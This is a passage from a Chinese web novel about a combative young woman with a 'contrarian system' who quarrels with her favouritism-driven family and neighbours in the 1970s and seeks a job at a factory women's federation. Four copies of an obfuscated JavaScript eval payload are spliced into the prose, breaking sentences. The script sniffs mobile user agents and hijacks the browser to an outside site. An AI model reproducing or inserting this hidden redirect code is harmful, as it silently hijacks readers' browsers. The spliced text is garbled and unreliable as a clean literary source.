宋上进清清嗓子,尽量用温和的语气说道:“小四啊,刚才大家伙说的都是真的?” 宋知南满不在乎地说道:“是真的啊,怎么了?他们能说我,我不能说他们?” 李玉华咬牙骂道:“他们比你年纪大,比你辈分长,说你几句怎么了?你要是没做错,人家会说你吗?” 宋知南看着李玉华冷声说:“首先,我没做错;其次就算我做错了,跟他们有个屁的关系。你觉得他们说我是因为我的问题?其实是因为你们的问题,他们怎么不敢说厂长的闺女,怎么不敢说革委会主任的闺女?为什么就敢你说你们的闺女,还不是因为你们俩窝囊没本事,人家不拿你俩当回事,父母窝囊,儿女遭殃!” 杠精系统及时播报:杠精值加1。 李玉华和宋上进异口同声:“你——” 夫妻俩气得胸口发闷,宋知夏像平常一样当起了父母的贴心小棉袄:“爸妈你们消消气,三妹就是这性格,你们别跟她一般见识。” 宋秋实早就看宋知南不顺眼了,也不废话,直接上手就打,他的巴掌刚抬起来,胳膊就被宋知南抓住了,宋知南抬起一脚狠踹在他的裆间,宋秋实惨叫一声,弯腰用双手捂住裆部。 宋上进和李玉华吓坏了,赶紧去扶大儿子。 宋上进急声问道:“秋实,你怎么样?踢坏没有?” 李玉华像个泼妇一样往地上一坐,抱着脚嚎啕大哭起来:“我的天爷,我做了什么孽,生出这么不孝的女儿,早知道小时候把你掐死算了。” 宋知南站在安全距离外,凉凉地说道:“对啊,你当初为啥就管不住自己呢?是我让你生的吗?你当年跟我打过招呼吗?生一个就罢了,噗噗下五个崽,生下来当奴隶一样养着,还觉得自个儿可伟大了。我还不如投胎在狗肚子里呢,人家狗爸狗妈可不会重男轻女,可不会苛待狗闺女。做父母的不如狗,狗见了你们心头都能涌起浓浓的自豪和骄傲。做为一个人,连狗都比不上,你俩惭不惭愧?丢不丢脸?” 李玉华此时已经出离了愤怒,一个骨碌从地上爬起来就要去打宋知南。 宋知南一个箭步冲过去,一把薅过宋冬宝挡在自己面前,大声叫嚣着:“来啊,你打,你不打不是人。” 宋冬宝头脑一片空白,吓得不敢动弹,傻傻地看着这一幕。 李玉华白眼一翻登时晕了过去,众人慌作一团,有掐人中的,有拼命叫人的。 宋知南冷眼旁观,这个妈她知道,说不过人就装晕吓唬你,这招是跟她奶学的。 宋知南可不会惯着她,想晕就晕,晕晕更健康。 宋知夏抱着李玉华心疼得直掉眼泪,她看着宋知南,用悲愤的语气控诉道:“三妹,你咋这么狠心?妈都晕倒了,你都不过来看看,她可是你亲妈呀,你太让人寒心了。” 宋知南下定决心:“行,我来看,我会针灸。” 说着,她进屋拿了一根又粗又长的针,对着李玉华的胳膊胡乱扎下去。 李玉华疼得立即“清醒”过来,破口大骂:“你这个黑心烂肺的,想扎死我!” 宋知南一脸无辜:“这是二姐教我的,她说你总是装晕烦死了,说下回你再晕,她就跟我对暗号让我拿针扎,她刚才给我暗号了,我就扎了。” 宋知夏瞳孔地震:“……”她什么时候这么说了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565008|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋知南摊手:“你看着我干什么?你怎么证明你没说?咱们都是一个窝的狐狸,谁不知道谁的底细,你非要在那儿假装孝顺。” 李玉华这次真的伤心地哭了起来,宋知夏也跟着一起哭:“呜呜,三妹诬陷我。” 两人正哭得起劲,突然听见门外有异响,宋上进赶紧去看看,果然有人在外面偷听。 他一脸颓丧,完了,这下他们家的名声要完了。 他无力地说道:“大家都别闹了,邻居们都在暗地里笑话咱们家呢。” 宋知南在旁边幸灾乐祸地说:“是啊,邻居们会笑话咱们家庭不和睦,以后大哥小弟找对象就麻烦喽,哪个好人家的姑娘愿意嫁进咱们家呀。” 宋上进和李玉华的脸色不由得一白,两个儿子可是他们的命根子。 宋知夏斜了宋知南一眼:“你也是咱们家的一份子,你这样闹下去,你以为你能落得了好?咱们姑娘家比男孩更需要好名声。” 宋知南无所谓地说:“无所谓,不在乎,我名声再坏,也不会像你一样自甘堕落找一个那么丑的玩意儿。”名声有什么用?能吃还是能喝? 宋知夏被戳中痛处,气得说不出话来。 宋知南收获了一大波杠精值。 看着宋知南这副死猪不怕开水烫的混蛋模样,大家恨得咬牙切齿却又无可奈何。 这场闹剧终于匆匆结束,李玉华擦干眼泪带着宋知夏去厨房做饭。 宋秋实捂着裆回房躺着,宋冬宝也跟着回屋。 宋知南也回屋躺着,宋上进犹豫片刻跟着进了宋知南的房间,做出一副慈父的样子要跟宋知南谈心。 “小南,爸知道让你下乡你心里委屈,其实爸也舍不得,手心手背都是肉啊,做父母的哪有不心疼自己孩子的,这不是没有办法吗?” 宋知南打了哈欠:“手心手背都是肉不假,可我是你的手指甲,可以随时放弃。你没办法咋不让你的两个儿子下乡?他们难道不是人?” 宋上进被噎得说不出话来。 宋知南再次收获一个杠精值。 宋上进继续搜肠刮肚地劝:“小南,爸不知道你是受啥刺激了,你以前可是个乖孩子,在咱们院里,你虽然不是最听话最懂事的,可也不是最落后的。你现在……” 宋知南:“宋同志,我不知道你的心咋那么大,皮咋那么厚,天天跟人比孩子,你咋不比自己呢?你看隔壁院里的王玲他爸,人家是厂长,你再看看你,这么多年,你工作努力了吗?你上进了吗?” 宋上进再次无言以对。 他无奈地说道:“怎么地?人家儿不嫌母丑,你还嫌弃你爸我不上进了?” 宋知南坦率地承认:“是的,我嫌弃。但是,是你先嫌弃儿女的。为什么你可以嫌弃我,我不可以嫌弃你?俗话说,龙生龙凤生凤,老鼠的儿子会打洞,自己明明是只老鼠非要望子成龙望女成凤,你咋不上天呢?” 宋上进哑口无言。 杠精系统:杠精值加2。 5. 第5章杠出新花样 半小时后,宋家开始吃晚饭。 宋知南不用人叫,主动出来吃饭。 李玉华的气还没消,狠狠地瞪着她,家里其他人也一齐看着她,用目光审判她。 宋知南仿若没发现似的,自顾自地坐下,还热情地招呼其他人:“大家愣着干啥?都别客气,赶紧坐下来吃吧。” 众人面面相觑,无人出声。 晚饭就是面条和咸菜丝,宋知南也不嫌弃,能吃就行。 她盛了满满一大海碗面条,优雅而凶猛地吃了起来。 宋秋实边吃饭边说道:“爸,妈,今天我去海林家,海林他哥说,这一批知青报名时间再过几天就该截止了,咱们家是不是得去报名了?” 说完,他看了宋知南一眼,一看到她,自己某个地方就隐隐作痛。 宋上进叹了口气,小心地看了宋知南一眼。 李玉华放下碗,说:“那就别拖了,小南明天上午就去街道办事处报名,别等人家上门做思想工作,到时候又该说咱们家思想觉悟不高了。” 宋知南抹抹嘴,说:“我也看出来了,我在家里很不受欢迎。我也懒得争了,下乡就下乡。” 众人听她这么说,不由得松了一口气,不管她怎么闹,能同意下乡就行。 宋知南话锋一转:“但是,我是有条件的。” 李玉华眼睛一瞪:“你跟谁提条件呢?” 宋上进在桌子底下悄悄踢了一下李玉华的腿,示意她先别说话。李玉华忿忿不平地闭口不言。 宋上进温和地问道:“小南,你有啥条件就提,我跟你妈能满足的尽量满足你。” 以前他是一点钱都不想给,甚至还想把国家发的安置费给截留下来。但现在闺女这么一闹,他怕生出什么岔子来,就想拿钱安抚她。 宋知南揣摩着家里的情况,也没狮子大开口,就说:“我要200块钱,三十斤粮票,七尺布票,安置费也归我。” 李玉华惊呼:“你把我卖了看看值不值这么多钱?” 宋知南实话实说:“别想了,你确实不值这个价。” 杠精值加1。 李玉华:“我x你妈,你这个小贱种。” 宋知南:“你就是我妈,你想x自己你可以试试,我是你俩的种,我贱你俩也贱。骂人之前先想想人物关系。” 李玉华气了个倒仰。 杠精值再加1。 宋上进不耐烦地制止李玉华:“行啦,你别骂了。” 接着,他看着宋知南说:“小四,不是爸舍不得给你这么多,实在是咱家没这么多钱,我跟你妈养你们几个不容易,每年还得给你爷奶寄钱……” 宋知南打断他的话:“你别跟我说这些,咱家有多少钱,我心里有数。我又没全要,你们当初可是偷偷商量,要是宋秋实下乡,你们就打算给这么多,为什么能给他就不能给我?你们要实在舍不得,就让宋秋实下乡呗。” 宋秋实差点跳起来:“不行,我不下乡。” 宋知南两手一摊:“那就不完了,你们选一个,要么出儿子要么出钱,啥也不出,想得美。你们要是不给钱,我就不下乡,我还要闹得人尽皆知。若是光闹还不行,我就去革委会举报,那么多罪名随便编一个就够你们喝一壶的,不信你们试试。” 李玉华像看怪物似的看着宋知南:“你、你为啥变成这个样子?你跟我说,是谁在背后怂恿你?是不是你大娘教你的?” 宋知南嗤笑一声:“是我外公教的。” “你胡说八道!” “信不信由你。” 宋知南吃完面条,迅速起身:“你们好好商量商量,商量多久都可以,我不在乎。” 说完,她转身回屋去了。 宋知南回屋后,大家开始商量起来。 宋知南躺在床上闭目养神,离出发还有三天,这几天得稳住家里人,最好让他们最后一刻再知道真相比较稳妥。明天少不得去知青办走走过场。 宋家人商量了一晚上,宋上进和李玉华最终决定妥协,不管怎样,先把宋知南这个小祖宗弄上火车再说,先答应她的条件,省得她闹。 但是两人都不可避免地觉得肉疼,200块钱30斤粮票呢,本来这些钱是给两个儿子存的,打算给他们买工作和娶媳妇用,现在倒好,被宋知南这个败家的给要去了。 李玉华决定了,以后一定要在宋知南的彩礼上找补回来。 一夜无话。 次日清晨,宋知南是被院子里的吵架声给吵醒的。 原来是魏芬和她男人洪长山干起来了。 宋知南听了几耳朵就弄清了吵架梗概,洪长山嫌弃魏芬只生了两个女儿,想再生个儿子,魏芬迟迟怀不上,洪长山的老娘说是因为魏芬的工作太累才没怀上,让她把工作让给小叔子,她辞职在家备孕。魏芬自然不愿意,两人便吵吵起来了。 洪长山觉着自己占理,嗓门特别洪亮:“你让街坊邻居评评理,我妈想抱孙子,我想要儿子,有错吗?咱家只有两个丫头,你生不出儿子是想让我绝后?我要是绝了后,我对得起洪家列祖列宗吗?” 魏芬带着哭腔辩解道:“领袖都说了,妇女能顶半边天,咱家的两个姑娘咋就不如小子了?我不是不想生,我是身体不好,你好歹读过书,又是工人,别啥都听咱娘的。” 洪长山的声音越来越嚣张:“魏芬,你啥意思,你是想鼓动我不孝是吗?你的心思可真狠毒,我就知道,你仗着自个是城里人,一直看不起我,看不起我乡下的亲人。” 魏芬急声辩解:“我、我不是这意思。” 众邻居你一句我一句地开劝,大多是站在洪长山这边。 宋知南对魏芬印象不错,是为数不多替自己说话的邻居。听见她被人步步紧逼,当下正义感起来了,女人就得帮助女人,何况杠人还有收益。 她腾地一下翻身下床,脸也没洗,牙也没刷,推开门,扒拉开看热闹的邻居,指着人高马大的洪长山高声问道:“洪长山,来来,我问你。你刚才说魏芬嫂子不生儿子对不起你们洪家的祖宗是吗?” 洪长山不明白这宋知南要干啥,但对方既然问了,他也就回答了,“是呀,怎么了?” 宋知南进一步发问道:“那我再问你,你们洪家的祖宗是不是希望你上学时名列前茅,工作时干出一番大事业,为建设社会主义做贡献,最好几样全占,这样才真正光宗耀祖对不对?” 洪长山愣了一下,他心里不耐烦,但还是点点头:“是啊,你问这些干啥?我们两口子吵架,你一个小姑娘瞎参和啥?” 众邻居还记得宋知南昨天晚上的吵架功力,看热闹不嫌事大,纷纷起哄道:“长山,人家小宋也来帮忙调停呢。” 魏芬朝宋知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565009|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南笑笑,张嘴想说什么,却听见宋知南接着问道:“洪大哥,你上学时考过第一吗?工作时处处领先吗?你为厂里做出什么大贡献了吗?” 洪长山脸色微变,这是哪壶不开提哪壶呀,他上学成绩一般般,工作能力也是一般般,他皱着眉头不耐烦地说:“小南,你到底会不会说话?你净埋汰我干啥?” 宋知南环视众人一圈,微微一笑:“我就是想告诉你,你对不起祖宗也不是第一次了,你是一直都对不起。为啥以前不见你惭愧不见你奋发图强?咋到了生孩子这一关,你怎么变得突然孝顺了?我很费解呀。” 众人先是一愣,接着哄堂大笑,有人觉得怪有道理,但也有很多人不认同。 洪长山气得脸黑似铁。 魏芬愣了一会儿,随即便想明白了,她粲然一笑,上前拉着宋知南的手说:“妹子,你说得真好,把我想说又没说出来的话都说出来了。” 宋知南拍拍魏芬,大声安慰道:“嫂子你别伤心也别惭愧,那是他的祖宗,又不是你的祖宗,他自己干啥啥不行都不惭愧,你惭愧个啥?而且,你瞧他那个熊样,他祖宗肯定更熊,自己都混不好,哪来的脸让自己的鳖孙光宗耀祖?还说什么别人看不起他们乡下人,就他这种满脑子封建思想,还拎不清,人家看得起他才怪。别人不是看不起乡下人,就是单纯看不起他本人。” 洪长山此时已经气得说不出话来,只是拿一双牛眼瞪着宋知南。 大家觉得略有道理,但没谁真去应和。 就在这时,杠精系统发出播报:宿主好宿主棒,杠出了新花样,杠精系统升级为二级杠杠,杠精值加五。 宋知南心中惊喜,杠精系统竟然还能升值,真是个好统子,今天收获真不错。 有人喜就有人气,喜的人是魏芬和宋知南,气的是洪长山,他冷冷地扫了一眼宋知南:“我们两口子的事跟你没关系,我劝你不要多管闲事。” 宋知南理直气壮地说:“都是街坊邻居,大家就应该互相照顾。照你这么说,咱们院里这么多邻居都是多管闲事喽,你这么说太让人寒心了,以后你有啥事,我们大家都不敢管了。” 洪长山可不想得罪一大片,赶紧分辩道:“我不是这意思。” 宋知南步步紧逼:“你就是这个意思。” 洪长山继续辩解,宋知南继续步步紧逼,两人一下子歪了主题。 众人赶紧相劝:“好啦好啦,时候不早了,大家赶紧去上班吧,别迟到了。” 大家也不再耽搁,上班的上班,出门的出门。 宋上进和李玉华收拾好东西出来,得知自己家老四又出名了,又把一个邻居给怼了。两人相视苦笑,好在这个小祖宗快下乡了,要不然,这样下去,他们家得把所有邻居给得罪个遍。 魏芬也要上班,她十分不舍地松开宋知南的手:“小南,我上班去了,等我下班咱们再聊。” 宋知南笑着说:“嫂子你赶紧去吧,我一会儿去知青办。” 魏芬作为邻居自然知道宋家的事,她看了一下周围,小声说:“小南,你要为自己着想,乡下很苦,比你想像中的还苦,你最好别下乡。” 宋知南微微一笑:“谢谢嫂子提醒,我明白的。” 大家陆续离开后,宋秋实也挎着帆布书包,打扮得人模人样地出来了,“小南,走吧,咱们去知青办报名。” 6. 第6章工作机会 宋知南和宋秋实一起朝街道办走去,一路上,宋知南东张西望,走走停停。宋秋实等得不耐烦了,就像往常一样吼了一声:“你别磨蹭了行不行?” 宋知南废话不多说,走过去踹了宋秋实一脚。 宋秋实怒目而视,抬起胳膊就要还手。宋知南一把拽住他的手指用力一掰,宋秋实惨叫出声。 宋知南笑着威胁道:“别惹我,否则我弄残你。” 宋秋实想要反抗,但宋知南那双手像是铁钳子一样有力,挣也挣不开。 宋秋实小声骂道:“宋知南,你有病。” 宋知南笑着说:“对啊,咱们全家都有病,你比我病得重。” 说完,她用力甩开了宋秋实,宋秋实觉得自己的手指要断了,钻心地疼。 这下,宋秋实再也不敢催促宋知南了,不但不敢催,甚至特意离她远远的,就怕她再发疯。 宋知南说自己要去报名,把户口本从宋秋实那儿要了过来,她一路晃晃悠悠地到了街道办事处的知青办公室前,不出意外的,外面围了很多年轻人。有的是来报名,有的是来打听下乡政策和下乡待遇。 宋知南挤进人群,一是想趁机打听点消息,二是打算等人多了她再进办公室里混水摸鱼,好骗过一旁监工的宋秋实。 宋知南刚挤进来,就听见有人在叫她:“宋知南,你也要下乡?” 她扭头一看,喊她的人是一个可爱的圆脸姑娘,她见此人有些面熟,赶紧在脑中飞快地搜索信息,这人是她的初中同学王小霜,她旁边站着的那个面容清瘦、戴眼镜的女生是隔壁班的才女陆诗月。 一看到熟人,宋知南面带笑容热情地招呼道:“王小霜,陆诗月,你们也来报名?” 陆诗月一脸意外:“咱们不是一个班的,你竟然记得我的名字?” 宋知南:“你可是咱们学校有名的才女,老师总是拿你的作文当范文在班里读,我怎么会不记得你的名字?” 陆诗月矜持地笑了笑。 王小霜笑着附和道:“就是啊,咱们学校谁不认识咱们的陆大才女。” 陆诗月不好意思地推了一下王小霜。 两人闹了一会儿,王小霜接着跟宋知南说:“我哥非要去下乡,可是他的身体不太好,我想干脆我去算了,我爸妈和我哥都不同意,说乡下不适合女孩子呆。我就过来打听打听情况。知南,你呢,你家是你下乡还是你哥下?” 宋知南说:“我哥特别想下乡,我今天来问一下安置费的事。” 说到这里,她特意压低声音说道:“不过我听邻居嫂子说,女孩子下乡一定要特别谨慎,乡下不光是条件艰苦的问题,条件苦我们是能克服的。但是,你知道的,有些地方还没开化,不把女人当人,我们这些外地的女孩下乡,就是当地流氓无赖口中的猎物,到时离家又远,消息又闭塞,真是呼天天不应,叫地地不灵。” 王小霜和陆诗月都听明白了,两人的脸色都不太好看。 陆诗月张了张嘴,还想接着问些什么,就见工作人员来上班了。上次的那个短发女同志大声喊道:“报名的可以进来了,别挤别挤,都能报上。” 宋知南看了一眼站在人群外圈的宋秋实,便像一条鱼似的挤进人群,挤到办公桌前问知青安置费的事。 短发女同志回答道:“下乡插队的知青每人可获得60元的安家费,由国家直接拨给当地知青办。你们到达插队的地方再发给你们。还有,你们刚下乡时,按规定每月可以领取3块钱的生活补贴,直到明年夏收开始。为了帮助你们安家,当地给每人提供0.1立方米的平价木材。” 宋知南有些失望,她还以为现在就能领安置费呢。 宋知南又问了其他一些杂七杂八的问题,磨蹭够了时间,再慢慢挤出人群。 她走到宋秋实身边,翻了个白眼:“我已经报完名了,这下你放心了吧。” 宋秋实有些不信:“真的报完名了?” 宋知南像是被气到了,一把拉起宋秋实挤进人群,站在办公桌前,对工作人员笑着说:“同志,这是我哥,他不放心我,非要亲自问问我报名报上没有。” 那个女同志对宋知南还略有些印象,好像是替她哥哥报过名,不过她这会儿忙得焦头烂额,便飞快地对宋秋实说道:“这位同志请放心,名已经报上了,错不了的。” 宋知南要的就是这句话,她怕宋秋实再多问两句就露馅了,便用力推搡着他往外走:“这下你放心了吧,赶紧走吧,别耽误别人报名。” 宋秋实这下也彻底放了心,他斜睨着宋知南:“行啦,你回家去吧。” 任务已经完成了,他可以找朋友玩去了。 宋秋实脚步轻快地离开了,宋知南松了一口气,再糊弄两天就可以圆满完成任务了。 等到宋知南出来时,王小霜和陆诗月在边上等着她。 王小霜说:“我打算回去再跟家里商量商量。” 宋知南好心多劝了几句:“小霜,你爸妈和你哥是真心为你着想,你别辜负了他们的心意。你哥下乡顶多吃点苦,安全没问题。男人嘛,多吃苦是对他们的锻炼。再说了,他一个当哥哥的让妹妹替他下乡,他心里能好受吗?别人会怎么看他?这对他的名声也不好。大不了以后你们家多给他寄钱寄粮票补贴他就是。” 宋知南这么一说,把王小霜心中的愧疚和顾虑也打消不少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565010|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>王小霜点头,表示听进去了宋知南的话。 宋知南也没厚此薄彼,问陆诗月:“诗月那你呢?” 陆诗月习惯性地推推鼻梁上的眼镜,说:“我的工作已经安排好了,我今天是陪小霜来的。” “那太好了。” 陆诗月心思敏感细腻,她能感知到宋知南是真心替自己高兴,便也多问了一句:“你的工作问题解决了吗?”她听小霜说过,宋知南在家待业,她父母对她还不好。 宋知南叹了口气:“我还在想办法呢,你们若是有什么关于工作方面的消息,记得告诉我哈,临时工也行,我不挑。要是能找到工作,我一定请你们下馆子。” 两人都笑了:“好的,我们帮你留意着。” 王小霜急着回家,三人也没多聊,便就此告别。 宋知南没有回家,她接着在街上闲逛。 宋知南不知道的是,此时自己的名字已经传遍了纺织厂的各个车间。 起因是她骂洪长山的那些话,魏芬一上班就跟自己的小姐妹聊起了吵架的事。 她甚至都没有加油添醋,直接原话复述,但奈不住宋知南骂人骂得又狠又准,还骂到了点子上,女工们听得心头大为爽快。 “以后我家那口子跟我吵架,我就把这话甩给他。‘你对不起祖宗也不是第一次了,你是一直都对不起。为啥以前不见你惭愧不见你奋发图强?咋到了生孩子这一关,你怎么突然变孝顺了?’” “对,他的祖宗是他的,又不是我的,跟我啥关系。” 就这么一传十,十传百,很快就传得人尽皆知。 甚至还有女工说:“小宋同志这口才就应该进工会当女职工代表,为咱们女工谋福利。” 还有的女工说:“我觉得应该进妇联,咱们以前的妇联就知道和稀泥。就应该多几个小宋同志这样的工作人员,把那些不当人的男人和婆婆们骂得狗血淋头。” “对对,就应该这样。” 大家只是顺口说说,过过嘴瘾罢了。魏芬却真的听进去了。 她想着宋知南还没有工作呢,她要是有了工作就不用下乡了。这孩子也怪可怜的,她看看能不能顺手帮一把。想到这里,她就向人打听哪个地方招工,临时工也行。 功夫不负有心人,还真让魏芬打听到一点消息,有人悄悄告诉魏芬:“我听说,咱们工会的妇联办公室要招人,原来的妇女主任病退了,新上任的这个要搞个什么新官上任三把火……” 魏芬听得眼睛发亮,上午大家还说宋知南适合去妇联工作,这不机会就来了。 等到下工铃一响,魏芬就迫不及待地下班了,她得赶紧回去把这个消息告诉宋知南。 7. 第7章咱臊死她 纺织厂食堂饭菜便宜好吃,再加上工人中午休息时间不长,魏芬一般是在食堂吃午饭,吃完饭在休息室趴着午睡一会儿,省得下午上班犯迷糊。今天为了宋知南工作的事,她特意跑回家一趟。 宋爸宋妈在食堂吃饭,宋知夏跟对象出门了,宋秋实不知道死哪儿去了,家里只有宋知南和宋冬宝两人。以前自然是宋知南做饭,现在嘛,这活当然是宋冬宝的。 宋冬宝生无可恋地在厨房切土豆丝,他一边切菜一边在心里咒骂,只盼着这个恶魔三姐赶紧下乡。 宋知南则搬个小凳子坐在门口看书,背《湖南老爷爷语录》,书到用时方恨少,就得平时准备好。 魏芬一进大杂院就看到了宋知南,她激动地说:“知南,我告诉你个好消息。” 宋知南不知道什么好消息,但她弟还在家里,她怕宋冬宝走漏了消息,便机灵地朝魏芬使了个眼色,示意她进屋说。魏芬很快会意,跟着宋知南进了屋,两人关上房门,开始说话。 魏芬把自己怎样跟小姐妹说自己家里的事,大家怎么讨论她的事,怎样夸赞宋知南,以及她是如何打听到妇联招工的事,全部告诉了宋知南。魏芬又担心这事没确定,宋知南的希望落空,就谨慎地补充一句:“我只是听说这个消息,具体的情况我也不清楚,要不你先去问问,成不成的我也不敢保证。” 宋知南拉着魏芬的手,感激地说道:“嫂子,不,以后我不叫你嫂子了,我叫你姐,你跟我亲姐没差别。魏姐,谢谢你告诉我这个好消息,无论成不成都不影响我对你的感激,只有你是真心替我着想。下午我就去问问招工的事,这事真要成了,我一定请你吃饭。” 魏芬摆摆手:“吃饭那都是小事,你得抓紧时间了,这消息可不止我一个人知道,别人也知道。” “好的,我等到她们一上班就过去。” 宋知南还想向魏芬打听打听妇女主任的性情和履历,只是魏芬也不清楚。 她决定下午自己去打听。 “魏姐,我还得请你帮个忙,这事你能不能先替我瞒着,你也知道我家的情况,我怕我爸妈知道了会节外生枝。” 做为邻居,魏芬自然知道宋爸宋妈的偏心,便点头答应:“你放心,事成之前我谁也不告诉。” 魏芬的时间很紧,跟宋知南说完话就离开了。 魏芬一离开,宋冬宝就鬼鬼祟祟地凑过来问:“三姐,魏嫂子跟你说什么了?神神秘秘的。” 宋知南张口就来:“她说要给你介绍个对象,你说是不是好事儿?” 宋冬宝不好意思地扭过头:“哼,净拿我开玩笑,你不说拉倒。” “赶紧给我做饭去,土豆丝切细些,就你这做饭水平将来结了婚,不得被丈母娘骂死?” 宋冬宝无言以对,这话可真新鲜,他只听说过女孩不会做饭被婆婆骂,没听说过男人不会做饭被丈母娘骂的,可他又不敢回嘴。唉,这日子真憋屈呀,何时是个头。 宋冬宝继续生无可恋地切着土豆丝,午饭是炝炒土豆丝、拌黄瓜,主食是杂面馒头。 宋知南一边吃饭一边挑刺:“这土豆丝切得跟你手指头一样粗,以后好好给我练练,连个饭都做不好,以后干什么行。” 宋冬宝蔫头蔫脑,一脸委屈:“能做熟就不错了,我以前都没做过饭。” 宋知南眼睛一瞪:“以前是以前,现在是现在。以后你给我好好学做饭。” 宋知南吃完饭,把碗一推,吩咐宋冬宝:“你去把锅和碗洗了。” 宋冬宝又不干了:“三姐,饭是我做的,你还让我洗碗,这公平吗?” 宋知南淡声说:“这时候跟我要公平了?以前饭是我做,碗是我洗,甚至你的衣裳都是我洗的,你咋不说公平呢?” 宋冬宝噎得接不上话来。 宋知南也不说话,只是静静地盯着着宋冬宝看,开始咔嚓咔嚓地活动手指。 宋冬宝吓得一激灵,不好的回忆立即涌上心头,他悲愤地说道:“我洗我洗还不行吗?” 宋冬宝委屈巴巴地洗碗去了。 宋知南回屋换了身最体面的衣裳,只是她最体面的衣裳也不体面,白衬衫上补了一块补丁,唯一没有补丁的裤子短了一截。 她果断地去翻宋知夏的衣柜,从里面找出一件新衬衫和半旧的军绿色裤子,反正宋知夏也爱翻她的东西,这下扯平了。 穿好衣裳,宋知南重新梳头发,她留着两根辫子,又细又黄,看着怪别扭的,她找了把剪刀,咔咔几下把头发剪到脖子这儿,梳了两根短辫,看着顺眼多了,明天去理发店剪个短发。 宋知南端详着镜中的自己,这张脸跟她前世很像,两个巴掌大的正常脸,五官明朗,轮廓清晰,眼睛不大不小刚刚好,笑的时候眉眼弯弯,鼻梁秀挺。就是皮肤有点黄,显得气血不足。她个子不矮,但有点过瘦,不够健壮,以后多补补就好了。 收拾停当,宋知南把初中毕业证和户口本放进书包,昂首挺胸走出门。 宋冬宝已经刷完碗了,厨房也收拾干净了,宋知南路过厨房顺便检查了一遍,难得表扬了一句:“干得不错,以后继续保持。” 宋冬宝面露喜色。 宋知南走路去纺织厂,这会儿正值午休时间,门口有很多人进进出出,门卫以为她也是厂里的女工,连问都没问。 宋知南打听了妇联办公室的位置,快步走过去。 妇联办公室跟厂委和工会办公室之间有一小段距离,为了方便来访人员进出,办公室的门开在另一边。 此时妇联办公室门口是相当热闹,围了一大群人,男女老少都有。 里面传出时而高昂时而激动的说话声,听声音像是夫妻在吵架,请妇联来评理。 宋知南站在外围听了一会儿,再加上围观群众的议论,已经大体弄清了事情的来龙去脉。 这对夫妻,男的叫林光宗,是厂里的技术员;女的叫王小雪,是纺织工人,家有两个孩子,本来他们俩是双职工,日子过得还不错。 林光宗的老家是乡下的,老家亲戚特别多,隔三差五就来一堆亲戚,每次都是连吃带拿的。王小雪刚开始时还热情招待,时间长了就受不了,两人就开始经常吵架。 矛盾的爆发点是这次林光宗的弟弟妹妹侄子外甥都来了,他们一来,不但把两个孩子的房间占了,还到处翻东西,小姑子穿王小雪的衣裳,用她的雪花膏,小叔子跟孩子抢吃的,侄子还跟俩孩子打架。王小雪的忍耐到了极限,彻底爆发了。要把人全部赶走,林光宗自然不同意,两人大吵一架。王小雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565011|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来找妇联主持公道,林光宗也跟着过来,要妇联评评理。 恰好今天的妇女主任贺胜男不在办公室,里面只有一个新来的小干事何黛。 何黛劝也劝不住,人又没有威望,两人就在办公室门口大吵起来。 宋知南一看何黛年纪小,脸皮薄,又是新来的,明显应付不了这俩人,顿时觉得自己的机会来了。 她硬挤进人群,来到林光宗和王小雪面前,此时的两人已经吵红了眼,林光宗双眼赤红,情绪异常激动,再吵下去就要动手了。 林光宗大声指责王小雪:“我是我们老林家最有出息的,我爸妈这些年过得很不容易,我上学时,家里的亲戚没少帮忙,我现在工作了进城了,回报他们一点不过份吧?我当初跟你搞对象时,就是看中你孝顺大方不计较,没想到结婚后你就变了,变得斤斤计较,变得刻薄尖酸。” 王小雪面容憔悴,声音沙哑:“林光宗,你摸着自己的良心说话,你给你爸妈寄钱寄东西,我说过什么没有?你弟你妹你侄子外甥来家里过暑假寒假我说过什么没有?可是他们越来越过分了,乱翻家里的东西,想拿什么就拿什么,还跟孩子争吃的。咱们家一年四季就没断过人,一到晚上,客厅里全是腿,怎么着?咱们家是招待所吗?就算是招待所也有休息的时候吧?” 